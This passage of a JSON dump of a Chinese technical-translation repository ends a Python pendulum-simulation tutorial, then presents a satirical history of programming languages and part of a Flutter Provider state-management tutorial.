euler_pendulum_sim(theta_init, t, L=1, g=9.81):\n    theta1 = [theta_init[0]]\n    theta2 = [theta_init[1]]\n    dt = t[1] - t[0]\n    for i, t_ in enumerate(t[:-1]):\n        next_theta1 = theta1[-1] + theta2[-1] * dt\n        next_theta2 = theta2[-1] - (b/(m*L**2) * theta2[-1] - g/L *\n            np.sin(next_theta1)) * dt\n        theta1.append(next_theta1)\n        theta2.append(next_theta2)\n    return np.stack([theta1, theta2]).T\n```\n\n接着运行这个新函数：\n\n```python\ntheta_vals_euler = euler_pendulum_sim(theta_init, t)\n```\n\n![](https://cdn-images-1.medium.com/max/2000/0*0IZ-Dh71fulbtlEn)\n\n绘制的图看起来还不错，让我们看下是否和之前方法一的结果相符合。\n\n```python\nmse_pos = np.power(\n    theta_vals_int[:,0] - theta_vals_euler[:,0], 2).mean()\nmse_vel = np.power(\n    theta_vals_int[:,1] - theta_vals_euler[:,1], 2).mean()\nprint(\"MSE Position:\\t{:.4f}\".format(mse_pos))\nprint(\"MSE Velocity:\\t{:.4f}\".format(mse_vel))\n\nMSE Position:\t0.0009\nMSE Velocity:\t0.0000\n```\n\n不同方法之间的均方误差非常接近，这说明我们得到了一个很好的近似值。\n\n我们使用了两种不同的方法，分别为常微分方程法和欧拉法，其中欧拉法要比常微分方程法 `odeint` 求解速度快。下面我们来测试并验证一下是否真的速度要快些。\n\n```\n%timeit euler_pendulum_sim(theta_init, t)\n\n2.1 ms ± 82.8 µs per loop (mean ± std. dev. of 7 runs, 100 loops each)\n\n%timeit integrate.odeint(int_pendulum_sim, theta_init, t)\n\n5.21 ms ± 45.5 µs per loop (mean ± std. dev. of 7 runs, 100 loops each)\n```\n\n与常微分方程的数值积分相比，欧拉方法的速度提高了约 2 倍。\n\n通过以上这些，我们学会了如何使用微积分的第一法则建立和模拟动态模型，并将其应用于一个简单的无摩擦单摆系统。\n\n像这样的动力系统对于理解自然科学是非常有用的。我最近用同样的技术写了一篇文章，展示了我们如何模拟[病毒在人群中的爆发性传播](https://towardsdatascience.com/how-quickly-does-an-influenza-epidemic-grow-7e95786115b3) 。常微分方程（ODE）也非常适合于反馈控制以及机器人技术和工程领域的其他相关应用，因此必须掌握基本的数值积分原理!\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-brief-totally-accurate-history-of-programming-languages.md",
    "content": "> * 原文地址：[A Brief Totally Accurate History Of Programming Languages](https://medium.com/@caspervonb/a-brief-totally-accurate-history-of-programming-languages-cd93ec806124)\n> * 原文作者：[Casper Beyer](https://medium.com/@caspervonb?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-brief-totally-accurate-history-of-programming-languages.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-brief-totally-accurate-history-of-programming-languages.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[L9m](https://github.com/L9m)、[allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 简短而又完全精确的编程语言历史\n\n## 完美的灵感源于事实\n\n![](https://cdn-images-1.medium.com/max/1600/1*ROH0byc_N5d96ggEk2A8nA.jpeg)\n\n#### 1800\n\n[Joseph Marie Jacquard](https://en.wikipedia.org/wiki/Joseph_Marie_Jacquard) 教会.一个纺织机读穿孔卡片，创建了第一个重量级多线程处理单元。他的发明遭到预见天网（Skynet）诞生的丝织工的强烈反对。\n\n#### 1842\n\n[Ada Lovelace](https://en.wikipedia.org/wiki/Ada_Lovelace) 厌倦了贵族，后在一个笔记本上无心地写下被后世所称的首个计算机程序，只是当时并没有计算机，事实上稍微有点不方便。\n\n#### 1936\n\n[Alan Turing](https://en.wikipedia.org/wiki/Alan_Turing) 发明的所有东西都被英国法院否决，而且对他采取化学阉割。\n\n尽管女王后来赦免了他，但不幸的是距他逝世已经过去了几个世纪。\n\n#### 1936\n\n[Alonzo Church](https://en.wikipedia.org/wiki/Alonzo_Church) 和图灵一样也发明了很多东西，但和他不一样的是，女王没有对他进行阉割。\n\n#### 1957\n\n[John Backus](https://en.wikipedia.org/wiki/John_Backus) 开发了 FORTRAN ，这是第一种被 **程序员真正使用的**语言。\n\n#### 1959\n\n[Grace Hopper](https://en.wikipedia.org/wiki/Grace_Hopper) 开发了第一种企业可用的面向业务编程语言，叫做“**面向商业的通用语言**”或者简称 **COBOL**。\n\n#### 1964\n\n[John Kemeny](https://en.wikipedia.org/wiki/John_G._Kemeny) 和 [Thomas Kurtz](https://en.wikipedia.org/wiki/Thomas_E._Kurtz) 认为编程太难了，而他们想要回归基础，因此称它们发明的语言为 BASIC。\n\n#### 1970\n\n[Niklaus Wirth](https://en.wikipedia.org/wiki/Niklaus_Wirth) 让 Pascal 成为了众多语言中的一种，他喜欢发明语言。\n\n他还发明了[沃思定律](https://en.wikipedia.org/wiki/Wirth%27s_law) ，这使得摩尔定律变得过时，因为软件开发者编写的软件过于臃肿，即使是大型机也跟不上。这一定律被之后的 Electron.js 证明是正确的。\n\n#### 1972\n\n[Dennis Ritchie](https://en.wikipedia.org/wiki/Dennis_Ritchie) 在贝尔实验室工作时间感觉无聊，所以决定开发 C，因为 C 有花括号，所以它最终获得了巨大的成功。之后他还添加了分段错误和其他对开发者友好的特性来提高生产效率。\n\n还有几个小时，他和贝尔实验室的朋友们决定制作一个演示 C 的示例程序，于是他们制作了一个名为 Unix 的操作系统。\n\n#### 1980\n\n[Alan Kay](https://en.wikipedia.org/wiki/Alan_Kay)  发明了面向对象编程语言并称其为 Smalltalk，在 Smalltalk 中，一切都是对象，对象本身也是一个对象。但没有人真正有时间去理解闲聊（small talk ）的意义。\n\n#### 1987\n\n[Larry Wall](https://en.wikipedia.org/wiki/Larry_Wall) 有宗教经验，成为了传教士，并使 Perl 成为教义。\n\n#### 1983\n\n[Jean Ichbiah](https://en.wikipedia.org/wiki/Jean_Ichbiah) 注意到 Ada Lovelace 的程序从没有真正运行过，所以决定用她的名字开发一种语言，但是语言仍然没有运行。\n\n#### 1986\n\n[Brac Box](https://en.wikipedia.org/wiki/Brad_Cox) 和 [Tol Move](https://en.wikipedia.org/wiki/Tom_Love) 决定基于 Smalltalk 开发一个不可读的 C 版本，他们称之为 Object-C，但没有人可以理解语法。\n\n#### 1983\n\n[Bjarne Stroustrup](https://en.wikipedia.org/wiki/Bjarne_Stroustrup) 回到未来，注意到 C 没有花足够的时间编译，所以他在语言中添加了他想得到的所有特性，并将它命名为 C++。\n\n它得到了广泛使用，所以程序员们在工作时看视频、看新闻有了真正的借口。\n\n#### 1991\n\n[Guido van Rossum](https://en.wikipedia.org/wiki/Guido_van_Rossum) 不喜欢花括号，于是发明了 Python，语法选择的灵感来源于 Monty Python 和 Flying Circus。\n\n#### 1993\n\n[Roberto Ierusalimschy](https://en.wikipedia.org/wiki/Roberto_Ierusalimschy \"Roberto Ierusalimschy\") 和朋友们认为他们需要的是一种巴西本地化脚本语言，在本地化过程中出现了一个错误，导致索引不是从 0 而是从 1 开始计算，他们将其命名为 Lua。\n\n#### 1994\n\n[Rasmus Lerdorf](https://en.wikipedia.org/wiki/Rasmus_Lerdorf) 为自己的个人主页 CGI 脚本制作了一个模版引擎，并在网上发布了他的 dotfiles。\n\n时代导致这些文件可以用于任何事物，疯狂的 Rasmus 还在其中引入额外的数据库绑定，并将其称为--PHP。\n\n#### 1995\n\n[Yukihiro Matsumoto](https://en.wikipedia.org/wiki/Yukihiro_Matsumoto) 并不开心，他注意到其他程序员也不开心。他发明 Ruby 是为了让程序员开心。在发明出 Ruby 后「Matz」很开心，Ruby 社区也很开心，每个人都是快乐的。\n\n#### 1995\n\n[Brendan Eich](https://en.wikipedia.org/wiki/Brendan_Eich) 利用周末设计了一种语言，用于为世界上的每一个浏览器提供支持，并最终为天网提供服务。起初，他去了网景（Netscape），称它为 LiveScript，但在代码审查期间，Java 变得流行起来，所以他们决定最好使用花括号，并将其重新命名为 JavaScript。\n\nJava 被证明将是一个给他们带来麻烦的商标，JavaScript 后来被重命名为 ECMAScript，但大家仍称之为 JavaScript。\n\n#### 1996\n\n[James Gosling](https://en.wikipedia.org/wiki/James_Gosling) 发明了 Java，这是第一种真正过于冗长的面向对象编程语言，其设计模式的规则凌驾于实际需要之上。\n\n其高效的管理器提供容器提供服务管理单例管理提供商模式就诞生了。\n\n#### 2001\n\n[Anders Hejlsberg](https://en.wikipedia.org/wiki/Anders_Hejlsberg) 重新开发 Java 并将其命名为 C#，因为 C 编程感觉比 Java 更酷。每个人都喜欢这个完全不像 Java 的新版 Java。\n\n#### 2005\n\n[David Hanselmeyer Hansen](https://en.wikipedia.org/wiki/David_Heinemeier_Hansson)   编写了一个叫做 Ruby on Rails 的 Web 框架，人们从此再也记不得它们曾经是分开的。\n\n#### 2006\n\n[John Resig](https://en.wikipedia.org/wiki/John_Resig) 为 JavaScript 编写了一个助手库，每个人都认这是一种语言，并从事从互联网复制粘贴 jQuery 代码的职业。\n\n#### 2009\n\n[Ken Thompson](https://en.wikipedia.org/wiki/Ken_Thompson) 和 [Rob Pike](https://en.wikipedia.org/wiki/Rob_Pike) 决定发明一种类似 C 的语言， 但要有更安全的「装备」并更有市场前景，还要以 Gophers 作为吉祥物。\n\n他们称它为 Go，还开源了它，而且还不捆绑地售卖地鼠牌的护膝和头盔。\n\n#### 2010\n\nGraydon Hoare 也想编写一种类似 C 的语言-- Rust。大家都要求可以立即用 Rust 重写每一个软件。Graydon 想要更炫的事情，于是开始为 Apple 开发 Swift。\n\n#### 2012\n\n[Anders Hjelsberg](http://Anders%20Hejlsberg) 想在 Web 浏览器中编写 C#，于是就设计了一种 JavaScript 语言--TypeScript，而实际上它却包含了很多 Java 内容。\n\n#### 2013\n\n[Jeremy Ashkenas](https://en.wikipedia.org/wiki/Jeremy_Ashkenas \"Jeremy Ashkenas\") 希望像 Ruby 开发者那样幸福，所以他创建了最后可以编译成 JavaScript 的 CoffeeScript，但它看起来更像 Ruby。Jeremy 从来没有像 Matz 和 Ruby 开发者那样真正快乐过。\n\n#### 2014\n\n[Chris Lattner](https://en.wikipedia.org/wiki/Chris_Lattner) 使 Swift 成为了主要的设计语言，而不是 Object-C，最后让 Swift 看起来很像 Java。\n\n* * *\n\n[James Iry, 我只能假设他是计算机科学史学者，他曾在 2009 年做过一些类似的观察。](http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html?m=1)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-closer-look-at-the-provider-package.md",
    "content": "> * 原文地址：[A Closer Look at the Provider Package](https://medium.com/flutter-nyc/a-closer-look-at-the-provider-package-993922d3a5a5)\n> * 原文作者：[Martin Rybak](https://medium.com/@martinrybak)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-closer-look-at-the-provider-package.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-closer-look-at-the-provider-package.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[Baddyo](https://github.com/Baddyo)\n\n# 深入解析 Provider 包\n\n> 附加 Flutter 状态管理的简单背景介绍\n\n![](https://cdn-images-1.medium.com/max/3840/1*8Ah2h28bxT0-vk18Q4xVVA.jpeg)\n\n[Provider](https://pub.dev/packages/provider) 是一个用于状态管理的包，其作者是 [Remi Rousselet](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwjXrMKO8dLjAhWoT98KHUCDB_oQFjAAegQIARAB&url=https%3A%2F%2Ftwitter.com%2Fremi_rousselet&usg=AOvVaw3bEIgT0j4c_5xbq-YWB70q)，最近，这个包在 Google 和 Flutter 社区广受欢迎。那么**什么是**状态管理呢？什么又是**状态**？我们一起来温习一下：状态就是用来表示应用 UI 的数据。**状态管理**则是我们创建、访问以及处理数据的方法。为了能更好地理解 Provider 这个包，我们先来简单回顾一下 Flutter 中的状态管理选项。\n\n## 1. 状态组件：StatefulWidget\n\n无状态组件 [StatelessWidget](https://api.flutter.dev/flutter/widgets/StatelessWidget-class.html) 很简单，它就是一个展示数据的 UI 组件。`StatelessWidget` 没有记忆功能；并根据需要被创建或者销毁。Flutter 同时也有状态组件 [StatefulWidget](https://api.flutter.dev/flutter/widgets/StatefulWidget-class.html)，这个组件是有记忆功能的，此记忆功能来自于它的持久组合状态对象 [State](https://api.flutter.dev/flutter/widgets/State-class.html)。这个类中包含一个 `setState()` 方法，当该方法被调用时，会触发组件重建并渲染出新的状态。这是 Flutter 中最基本的状态管理形式。下面这个例子就是一个展示会展示最近一次被点击的时间的按钮：\n\n```dart\nclass _MyWidgetState extends State<MyWidget> {\n  DateTime _time = DateTime.now();\n\n  @override\n  Widget build(BuildContext context) {\n    return FlatButton(\n      child: Text(_time.toString()),\n      onPressed: () {\n        setState(() => _time = DateTime.now());\n      },\n    );\n  }\n}\n```\n\n这种写法的问题是什么呢？假设应用在根 [StatefulWidget](https://api.flutter.dev/flutter/widgets/StatefulWidget-class.html) 组件中保存了一些全局状态。这些数据可能会在 UI 的很多不同部分被用到。我们将数据以参数的方式传送到每个子组件，以此共享数据。任何试图修改数据的事件都要以更新事件的方式冒泡到根组件。这就意味着，很多参数和回调函数都需要传递多层组件，这种方式会让代码非常混乱。更甚至，根状态的任何更新都会触发整个组件树的重构，这是成本非常高的。\n\n## 2. 可继承组件：InheritedWidget\n\n[InheritedWidget](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html) 是 Flutter 中唯一可以不需要直接引用，就可以获取父级组件信息的组件。只需访问 [InheritedWidget](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html)，那么当其子组件需要引用它的时候，该消费组件就可以自动重新构建。这种技术让开发者可以更高效地更新 UI。此时如果想稍微修改某个状态，我们可以只有选择地重新构建 App 中特定的组件，而不必大范围地重新构建了。如果你已经使用了 `MediaQuery.of(context)` 或者 `Theme.of(context)`，那么其实你已经在应用 [InheritedWidget](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html) 了。而由于 [InheritedWidget](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html) [很难正确地实现](https://flutterbyexample.com/set-up-inherited-widget-app-state/)，你也不太可能会去实现自己的一个 [InheritedWidget](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html)。\n\n## 3. ScopedModel\n\n[ScopedModel](https://pub.dev/packages/scoped_model) 是 [Brian Egan](https://twitter.com/brianegan) 于 2017 年创建的包，它让使用 [InheritedWidget](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html) 存储应用状态变得更加容易了。首先，我们需要创建一个继承了 [Model](https://pub.dev/documentation/scoped_model/latest/scoped_model/Model-class.html) 的状态对象，然后在属性改变的时候调用 `notifyListeners()`。这和 Java 中 [PropertyChangeListener](https://docs.oracle.com/javase/7/docs/api/java/beans/PropertyChangeListener.html) 接口的实现有些类似。\n\n```dart\nclass MyModel extends Model {\n  String _foo;\n\n  String get foo => _foo;\n  \n  void set foo(String value) {\n    _foo = value;\n    notifyListeners();  \n  }\n}\n```\n\n为了暴露出状态对象，我们将其实例包裹在应用根组件的 [ScopedModel](https://pub.dev/documentation/scoped_model/latest/scoped_model/ScopedModel-class.html) 组件中。\n\n```dart\nScopedModel<MyModel>(\n  model: MyModel(),\n  child: MyApp(...)\n)\n```\n\n这样，任何子组件都可以通过 [ScopedModelDescendant](https://pub.dev/documentation/scoped_model/latest/scoped_model/ScopedModelDescendant-class.html) 组件获取到 `MyModel`。模块实例会作为参数传入 `builder`：\n\n```dart\nclass MyWidget extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return ScopedModelDescendant<MyModel>(\n      builder: (context, child, model) => Text(model.foo),\n    );\n  }\n}\n```\n\n任何子组件也可以**更新**此模块，同时它将自动触发重新构建（前提是我们的模块都正确地调用了 `notifyListeners()`）：\n\n```dart\nclass OtherWidget extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return FlatButton(\n      child: Text('Update'),\n      onPressed: () {\n        final model = ScopedModel.of<MyModel>(context);\n        model.foo = 'bar';\n      },\n    );\n  }\n}\n```\n\n[ScopedModel](https://pub.dev/packages/scoped_model) 是 Flutter 中热门的状态管理结构体，但是它会限制暴露继承自 [Model](https://pub.dev/documentation/scoped_model/latest/scoped_model/Model-class.html) 类的状态以及它自身的变更通知模式。\n\n## 4. BLoC\n\n在 [Google 2018 年发者大会上](https://www.youtube.com/watch?v=RS36gBEp8OI)，提出了[业务逻辑组件](https://www.freecodecamp.org/news/how-to-handle-state-in-flutter-using-the-bloc-pattern-8ed2f1e49a13/)，即 BLoC，作为另一种可以将状态迁移出组件的模式。BLoC 类是一种可持久的、没有 UI 的组件，它会维护自己的状态并将其以 [stream](https://api.dartlang.org/stable/2.6.0/dart-async/Stream/listen.html) 和 [sink](https://api.dartlang.org/stable/2.4.0/dart-core/Sink-class.html) 的形式暴露出来。通过将状态和业务逻辑从 UI 中分离出来，BLoC 模式让组件可以作为[无状态组件（StatelessWidget）](https://api.flutter.dev/flutter/widgets/StatelessWidget-class.html)应用，并可以使用 [StreamBuilder](https://api.flutter.dev/flutter/widgets/StreamBuilder-class.html) 自动重新构建。这让组件比较“傻瓜式”，更易于测试。\n\n一个 BLoC 类的例子：\n\n```dart\nclass MyBloc {\n  final _controller = StreamController<MyType>();\n\n  Stream<MyType> get stream => _controller.stream;\n  StreamSink<MyType> get sink => _controller.sink;\n  \n  myMethod() {\n    // YOUR CODE\n    sink.add(foo);\n  }\n\n  dispose() {\n    _controller.close();\n  }\n}\n```\n\n一个组件应用 BLoC 模式的例子：\n\n```dart\n@override\nWidget build(BuildContext context) {\n return StreamBuilder<MyType>(\n  stream: myBloc.stream,\n  builder: (context, asyncSnapshot) {\n    // 其余代码\n });\n}\n```\n\nBLoC 模式的问题是，创建和销毁 BLoC 对象的方法没有那么显而易见。在上面的例子中，`myBloc` 实例是如何创建的？我们如何调用 `dispose()` 来销毁它呢？如果使用了 [stream](https://api.dartlang.org/stable/2.6.0/dart-async/Stream/listen.html)，就需要使用 [StreamController 类](https://api.dartlang.org/stable/2.4.0/dart-async/StreamController-class.html)，而为了防止内存泄漏，当我们不需要再使用 StreamController 的时候，就必须调用 `closed` 方法销毁它。（Dart 没有类的 [析构函数](https://en.wikipedia.org/wiki/Destructor_(computer_programming)) 的概念；只有 `StatefulWidget` 中的 [State](https://api.flutter.dev/flutter/widgets/State-class.html) 类有一个 `dispose()` 方法）同时，多组件之间共享 BLoC 的方法也不明朗。因此，对于开发者来说，刚开始使用 BLoC 时会觉得很困难。好消息是，有一些[包](https://pub.dev/flutter/packages?q=bloc)可以帮助你度过这一难关。\n\n## 5. Provider\n\n[Provider](https://pub.dev/packages/provider) 是 [Remi Rousselet](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwjXrMKO8dLjAhWoT98KHUCDB_oQFjAAegQIARAB&url=https%3A%2F%2Ftwitter.com%2Fremi_rousselet&usg=AOvVaw3bEIgT0j4c_5xbq-YWB70q) 于 2018 年写得一个代码包，它和 [ScopedModel](https://pub.dev/packages/scoped_model) 类似，但是不限制对 [Model](https://pub.dev/documentation/scoped_model/latest/scoped_model/Model-class.html) 子类的暴露。它同时也是 [可继承组件 InheritedWidget](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html) 的一个外包，但它允许向外暴露任何状态对象，这其中包括了 BLoC、[stream](https://api.dartlang.org/stable/2.6.0/dart-async/Stream/listen.html)、[futures](https://api.dartlang.org/stable/dart-async/Future-class.html) 等等。由于它简单灵活，Google 在第十九届 [Google 开发者大会](https://www.youtube.com/watch?v=d_m5csmrf7I)上宣布，[Provider](https://pub.dev/packages/provider) 是它的状态管理的首选。当然，你也可以选择使用[其他的管理工具](https://flutter.dev/docs/development/data-and-backend/state-mgmt/options)，但是如果你还不确定要用哪个，Google 推荐 [Provider](https://pub.dev/packages/provider)。\n\n[Provider](https://pub.dev/packages/provider) “由组件构成，为了方便其他组件的应用”。使用 [Provider](https://pub.dev/packages/provider)，我们可以将任何状态对象放入组件树中，并在其他任何子组件中访问到这些状态对象。[Provider](https://pub.dev/packages/provider) 可以使用数据初始化状态对象，或者当状态对象从组件树中移除的时候清理它们，以此帮助我们管理状态对象的生命周期。因此，[Provider](https://pub.dev/packages/provider) 甚至可以用来实现 BLoC 组件，或者作为[其他](https://flutter.dev/docs/development/data-and-backend/state-mgmt/options)状态管理方案的基础！😲又或者，它还可以用于[依赖注入](https://en.wikipedia.org/wiki/Dependency_injection) —— 一种将数据注入组件的神奇的形式，这种形式可以降低耦合度并增强可测试性。最后，[Provider](https://pub.dev/packages/provider) 也具有一系列专门的类，这让其变得更加易用。我们下面将会逐个详细讲解：\n\n* 基础 [Provider](https://pub.dev/documentation/provider/latest/provider/Provider-class.html)\n* [ChangeNotifierProvider](https://pub.dev/documentation/provider/latest/provider/ChangeNotifierProvider-class.html)\n* [StreamProvider](https://pub.dev/documentation/provider/latest/provider/StreamProvider-class.html)\n* [FutureProvider](https://pub.dev/documentation/provider/latest/provider/FutureProvider-class.html)\n* [ValueListenableProvider](http://ValueListenableProvider)\n* [MultiProvider](https://pub.dev/documentation/provider/latest/provider/MultiProvider-class.html)\n* [ProxyProvider](https://pub.dev/documentation/provider/latest/provider/ProxyProvider-class.html)\n\n#### 安装\n\n想要使用 [Provider](https://pub.dev/packages/provider)，第一步要做的就是将相关依赖加入 pubspec.yaml 文件：\n\n```\nprovider: ^3.0.0\n```\n\n然后在需要使用它的地方引入 [Provider](https://pub.dev/packages/provider) 包：\n\n```dart\nimport 'package:provider/provider.dart';\n```\n\n#### 基础 Provider\n\n下面，我们一起来在应用的根节点创建一个基本的 [Provider](https://pub.dev/packages/provider)，它将包含应用模型的实例：\n\n```dart\nProvider<MyModel>(\n  builder: (context) => MyModel(),\n  child: MyApp(...),\n)\n```\n\n> 参数 `builder` 创建了 `MyModel` 的实例。如果你想要给它赋值为一个现有的实例，那么请使用 [Provider.value](https://pub.dev/documentation/provider/latest/provider/Provider/Provider.value.html) 构建函数。\n\n然后你就可以使用 [Consumer](https://pub.dev/documentation/provider/latest/provider/Consumer-class.html) 组件，在 `MyApp` 的任意位置对这个模型实例进行**自定义**。\n\n```dart\nclass MyWidget extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return Consumer<MyModel>(\n      builder: (context, value, child) => Text(value.foo),\n    );\n  }\n}\n```\n\n在上面的例子中，`MyWidget` 类包含一个使用了 [Consumer](https://pub.dev/documentation/provider/latest/provider/Consumer-class.html) 组件的 `MyModel` 的实例。这个组件提供了一个 `builder` 方法，该方法的 `value` 参数包含了实例对象。\n\n那么如果我们想要**更新**模型的数据呢？我们假设有另一个包含按钮的组件，当按钮按下的时候，需要更新 `foo` 属性：\n\n```dart\nclass OtherWidget extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return FlatButton(\n      child: Text('Update'),\n      onPressed: () {\n        final model = Provider.of<MyModel>(context);\n        model.foo = 'bar';\n      },\n    );\n  }\n}\n```\n\n> 注意访问 `MyModel` 实例时的语法差异。它在功能上和使用 [Consumer](https://pub.dev/documentation/provider/latest/provider/Consumer-class.html) 组件是一致的。而当你无法在代码中获取到 [BuildContext](https://api.flutter.dev/flutter/widgets/BuildContext-class.html) 的时候，[Consumer](https://pub.dev/documentation/provider/latest/provider/Consumer-class.html) 组件就会派上用场了。\n\n你认为这样的操作会对我们之前创建的 `MyWidget` 造成什么影响呢？你是否认为，它将会展示新的 `bar` 值？**但不幸的是你猜错了，这并不会发生**。简单的已创建的旧 Dart 对象并不会监听变化（至少在没有 [reflection](https://api.dartlang.org/stable/dart-mirrors/dart-mirrors-library.html) 的时候不会，而 [reflection](https://api.dartlang.org/stable/dart-mirrors/dart-mirrors-library.html) 目前在 Flutter 中还不可用）。这就意味着，[Provider](https://pub.dev/packages/provider) 无法知道我们更新过了 `foo` 属性，也无法告知 `MyWidget` 响应改变从而作出更新。\n\n#### ChangeNotifierProvider\n\n但是，我们还是有其他解决问题的希望的！我们可以让 `MyModel` 类实现 [ChangeNotifier](https://api.flutter.dev/flutter/foundation/ChangeNotifier-class.html) mixin。我们只需要稍稍修改模型的实现，即在属性改变的时候调用一个特别的 `notifyListeners()` 方法即可。这和 [ScopedModel](https://pub.dev/packages/scoped_model) 的工作原理类似，但却不需要继承一个特殊的类。只需要实现 [ChangeNotifier](https://api.flutter.dev/flutter/foundation/ChangeNotifier-%E2%80%A6) mixin 即可。代码如下：\n\n```dart\nclass MyModel with ChangeNotifier {\n  String _foo;\n\n  String get foo => _foo;\n  \n  void set foo(String value) {\n    _foo = value;\n    notifyListeners();  \n  }\n}\n```\n\n正如你所见，我们将 `foo`  属性改成了 `getter` 和 `setter` 函数，它们都会去维护一个私有的 `_foo` 变量。这样做就让我们能“监听”到所有对 `foo` 的修改，并告知监听者：对象发生了变化。\n\n现在，在 [Provider](https://pub.dev/packages/provider) 端，我们可以将代码实现改为，使用另一个名为 [ChangeNotifierProvider](https://pub.dev/documentation/provider/latest/provider/ChangeNotifierProvider-class.html) 的类：\n\n```dart\nChangeNotifierProvider<MyModel>(\n  builder: (context) => MyModel(),\n  child: MyApp(...),\n)\n```\n\n这样就好了！现在，当 `OtherWidget` 更新了 `MyModel` 实例的 `foo` 属性的时候，`MyWidget` 将会根据改变自动更新。超酷吧？\n\n还有一件事要说。你也许已经注意到了，在 `OtherWidget` 按钮的事件处理函数中，我们使用了下面的语法：\n\n```dart\nfinal model = Provider.of<MyModel>(context);\n```\n\n**默认情况下，这样写会让 `OtherWidget` 实例在 `MyModel` 变化的时候自动更新**。这也许并不是我们所期望的。毕竟 `OtherWidget` 只包含了一个按钮，并不需要跟随 `MyModel` 的数据变化而变化。为了避免这样的事情发生，我们可以使用如下的语法让模型不再注册重新构建的监听：\n\n```dart\nfinal model = Provider.of<MyModel>(context, listen: false);\n```\n\n这是 [Provider](https://pub.dev/packages/provider) 包给予我们的另一份免费的便利。\n\n#### StreamProvider\n\n[StreamProvider](https://pub.dev/documentation/provider/latest/provider/StreamProvider-class.html) 给人的第一印象是：好像并不那么有必要。毕竟在 Flutter 中，我们可以使用常规的 [StreamBuilder](https://api.flutter.dev/flutter/widgets/StreamBuilder-class.html) 来订阅流信息。例如下面这段代码中，我们监听了 [FirebaseAuth](https://pub.dev/documentation/firebase_auth/latest/firebase_auth/firebase_auth-library.html) 提供的 [onAuthStateChanged](https://pub.dev/documentation/firebase_auth/latest/firebase_auth/FirebaseAuth/onAuthStateChanged.html) 流：\n\n```dart\n@override\nWidget build(BuildContext context {\n  return StreamBuilder(\n   stream: FirebaseAuth.instance.onAuthStateChanged, \n   builder: (BuildContext context, AsyncSnapshot snapshot){ \n     ...\n   });\n}\n```\n\n而如果想使用 [Provider](https://pub.dev/packages/provider) 来完成，我们可以在 App 的根结点，通过 [StreamProvider](https://pub.dev/documentation/provider/latest/provider/StreamProvider-class.html) 暴露出这个流：\n\n```dart\nStreamProvider<FirebaseUser>.value(\n  stream: FirebaseAuth.instance.onAuthStateChanged,\n  child: MyApp(...),\n}\n```\n\n然后在子组件中就可以像其他 [Provider](https://pub.dev/packages/provider) 那样使用了：\n\n```dart\n@override\nWidget build(BuildContext context) {\n  return Consumer<FirebaseUser>(\n    builder: (context, value, child) => Text(value.displayName),\n  );\n}\n```\n\n除了能让组件代码更加清晰，**它也可以抽象并过滤掉数据是否是来自于流的这一信息**。例如，如果我们想要修改 [FutureProvider](https://pub.dev/documentation/provider/latest/provider/FutureProvider-class.html) 的基础实现，此时就无须修改组件的代码。**事实上，你很快就会发现，以下所有不同的 provider 都是这样**。😲\n\n#### FutureProvider\n\n和上面的例子类似，[FutureProvider](https://pub.dev/documentation/provider/latest/provider/FutureProvider-class.html) 是在组件中使用 [FutureBuilder](https://api.flutter.dev/flutter/widgets/FutureBuilder-class.html) 